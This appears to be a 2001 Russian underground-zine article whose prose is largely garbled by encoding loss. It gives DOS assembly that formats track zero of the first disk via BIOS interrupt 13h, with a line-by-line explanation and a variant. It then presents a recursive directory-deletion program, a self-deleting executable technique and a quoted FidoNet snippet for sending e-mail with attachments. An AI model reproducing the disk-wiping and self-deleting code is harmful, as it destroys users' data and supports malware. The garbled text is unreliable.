
                        =>POWER HEAP RESEARCH<=

             
                                 
                                 
                         

                           
                            
                           
                          

                          [yp pp]

 Hp 3 [2001]
 --------------

                            ⥫ py権

  ᠭ    ணࠬ ࠧ蠥 㫥 ஦ ᪮, 
  १  祣  ᪥ 뢠 "⠡쭮"  dos. 
  ணࠬ    ⠪  ᤥ  㯭 ⪨  , 
   ᪮.

Model Tiny
.Code
org 100h
start:
  mov ah,05
  mov dl,00
  mov dh,00
  mov ch,00
  mov cl,01
  mov al,08
  int 13
  mov ah,00
  int 21
end start

  ⥯p p堪 py :

㦥   祭 5 砥 ଠ஢ ஦:

 mov ah,05

dl ᮤন  ᪮,  襬 砥  0 = ᪮ :

 v dl,00

dh ᮤন  ᮮ⢥饩 . 襬 砥   -
 :

 mov dh,00

 ᮤন ஦.  ᯮ 㫥 ஦:

 mov ch,00

ck 뢠  ࠡ뢠 ᥪ.  ᥪ 1:

 mov cl,01

al 㪠뢠 ᫮  ࠡ⪥ ᥪ஢.   
8 ᥪ஢, .. ࠡ⪥   ஦:

 mov al,08

뢠 13  뢠 bios, ᯥ稢騬   
᪥:

 int 13

१ 뢠 21 ணࠬ 蠥  浪:

 mov ah,00
 int 21

-----------

 H p ᪮  py y , 祬 .
 ? , ⠪ p    ⠪,  䫮p p-
 pp. 室 (᫨ y -  ᫥y p p᪮-
py) :

Model Tiny
.Code
org 100h
start:
  mov dl,00
  mov dh,00
  mov ch,80
  mov cl,01
  mov al,08
  int 13
  mov ah,00
  int 21   
end start

----------

  ⥯p  ,  pppy  ᪠  .  :
y ⠫  ⠫  ⥯ . pp :

{$I-,M $2000,$0,$1000}

Uses Dos,Crt;

var
 TotalDir       : Word;

function sUpCaseStr (Const Str : string) : string;
 var
  i : byte;
Begin
  for i := 1 to Length (Str) do sUpCaseStr [i] := UpCase (Str [i]);
  sUpCaseStr [0] := Str[0];
end;

function bFileFound (Const sFileName : String) : Boolean;
var
  f : file;
Begin
   {$I-}
  Assign (f, sFileName);
  Reset (f);
  Close (f);
   {$I+}
  bFileFound := (IOResult = 0) and (sFileName <> '');
end;

Procedure EraseFile (Const S : PathStr);
var
 F : File;
Begin
 if bFileFound (S) then
 Begin
  Assign (f,S);
  Erase (f);
  if IOResult <> 0 then Writeln ('Can''t delete file ',S);
  Writeln (S);
 end;
end;

procedure EraseDir (S : PathStr);
Begin
 Writeln (S);
 RmDir (S);
 if IOResult <> 0 then Writeln ('Can''t delete dir ',S);
end;

{B -    㤠 䠩  ⠫ True - 㤠 }
Procedure SearchDir(Dir : PathStr; B : Boolean);
var
 Reg           : Registers;
 Search        : SearchRec;
Begin
 if Dir[Length(Dir)]<>'\' then Dir:=Dir+'\';
 FindFirst(Dir+'*.*',AnyFile,Search);
 While DosError = 0 do
 Begin
  if Search.Attr and 24 = 0 then
   if B then EraseFile(Dir+Search.Name);
  FindNext(Search);
 end;

 FindFirst(Dir+'*.*',AnyFile,Search);
 While DosError = 0 do
 Begin
  If (Search.Attr and 16 <> 0) and (Search.Name[1] <> '.') then
  Begin
   SearchDir(Dir+Search.Name,B);
   Reg.AH:=$1A;
   Reg.DS:=Seg(Search);
   Reg.DX:=Ofs(Search);
   MsDos(Reg);
   if B then EraseDir (Dir + Search.Name) else Writeln (Dir +
Search.Name);
   Inc (TotalDir, 1);
  end;
  FindNext(Search);
 end;
end;

procedure Help;
Begin
 Writeln ('Usage  :  KillDir <DirName1> <DirName2> ..');
 Writeln;
 Halt (1);
end;

var
 Dir            : PathStr;
 Work           : Byte;

Begin
 if ParamCount < 1 then Help;
 for Work := 1 to ParamCount do
 Begin
  TotalDir := 0;
  GetDir (0, Dir);
  Dir := Copy (Dir, 1,3) + sUpCaseStr (ParamStr (Work));
  Writeln (Dir);
  SearchDir (Dir,false);
  Writeln (' !  䠩   ४  㤠 !');
  Write ('த ? [Y/N]');
  Writeln;
  if UpCase (ReadKey) <> 'Y' then Halt;
  if TotalDir = 0 then Writeln ('Can''t to find : ',Dir);
  SearchDir(Dir, true);
  EraseDir (Dir);
  Writeln;
 end;
end.

  ⥯p  ᠬy⮦ ᪠᪮ pp :


procedure OriginalChanger;
var szPathOrig, szPathClone: array [0..MAX_PATH] of char;
    szCmdLine: array [0..512] of char;
    hFile,hProcessOrig :THandle;
    si :TSTARTUPINFO;
    pi :TProcessInformation;
begin
      GetModuleFileName(Nil, szPathOrig, MAX_PATH);
      GetTempPath(MAX_PATH, szPathClone);
      GetTempFileName(szPathClone, PChar('Del'), 0, szPathClone);
      CopyFile(szPathOrig, szPathClone, FALSE);
      hfile := CreateFile(szPathClone, 0, FILE_SHARE_READ,
                          NIL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NIL);
      hProcessOrig := OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId);
      StrCopy(szCmdLine, PChar(Format('-CLONE %s %d "%s"',[szPathClone,
hProcessOrig, szPathOrig])));
      ZeroMemory(@si, sizeof(si));
      si.cb := sizeof(si);
      CreateProcess(NIL, szCmdLine, NIL, NIL, TRUE, 0, NIL, NIL, si, pi);
      CloseHandle(hProcessOrig);
      CloseHandle(hfile);
end;

procedure CloneChanger(hProcessOrig :THandle; PathOrig:string);
begin
      WaitForSingleObject(hProcessOrig, INFINITE);
      CloseHandle(hProcessOrig);
      DeleteFile(PathOrig);
end;

begin
  if ParamStr(1) <> '-CLONE' then
  begin
    OriginalChanger;
    Exit;
  end
  else
    CloneChanger(StrToInt(ParamStr(2), StrToInt(ParamStr(3));
  Application.Init;
  ...
end.

  ⥯p   ...

 MY.BEST.MESSAGES (2:5036/9.9)  MY.BEST.MESSAGES 
 Msg  : 38  138                Scn
 From : Stas Malinovski          2:5042/6.6       15  99 16:10
 To   : Roman Alexandrov          15  99 17:04
 Subj : DX.API: send e-mail

 Hi, Roman !
 
 >> 饬 : 㦭 ࠢ ᮧ  ணࠬ 쬮 
 >> - ᨬ   .. ⮡   ॢ  ࠢ.
 DP>    ࠡ  ⮩.  TSyncSmtpCli
 DP> (http://www.rtfm.be/fpiette).

 RA>  ᬮ५ ⠪ ,   室, 䨣  , 
 RA> ண  ~250    ࠨ,   - ⮣ ண  
 RA>   쥪 ९뢠.       ਬ஬!

unit Email;

interface

uses Windows, SusUtils, Classes;

function SendEmail(const RecipName, RecipAddress, Subject,
  Attachment: string): Boolean;
function IsOnline: Boolean;

implementation

uses Mapi;

function SendEmail(const RecipName, RecipAddress, Subject,
  Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do
    begin
      ulRecerved:= 0;
      ulRecipClass:= MAPI_TO;
      lpszName:= PChar(RecipName);
      lpszAddress:= PChar(RecipAddress);
      ulEIDSize:= 0;
      lpEntryID:= nil;
    end;
  with MapiFileDesc do
    begin
      ulReserved:= 0;
      flFlags:= 0;
      nPosition:= 0;
      lpszPathName:= PChar(Attachment);
      lpszFileName:= nil;
      lpFileType:= nil;
    end;
  with MapiMessage do
    begin
      ulReserved := 0;
      lpszSubject := nil;
      lpszNoteText := PChar(Subject);
      lpszMessageType := nil;
      lpszDateReceived := nil;
      lpszConversationID := nil;
      flFlags := 0;
      lpOriginator := nil;
      nRecipCount := 1;
      lpRecips := @MapiRecipDesc;
      if length(Attachment) > 0 then
        begin
          nFileCount:= 1;
          lpFiles := @MapiFileDesc;
        end
      else
        begin
          nFileCount:= 0;
          lpFiles:= nil;
        end;
    end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or
   MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;

function IsOnline: Boolean;
var
  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin
  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res:=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;

end.


See you later.
--- (ᨫ樭 )
 * Origin: GMN BBS (4162) 49-52-18 (2:5042/6.6)


 Hy , p py.   p .

                                                     Helloween.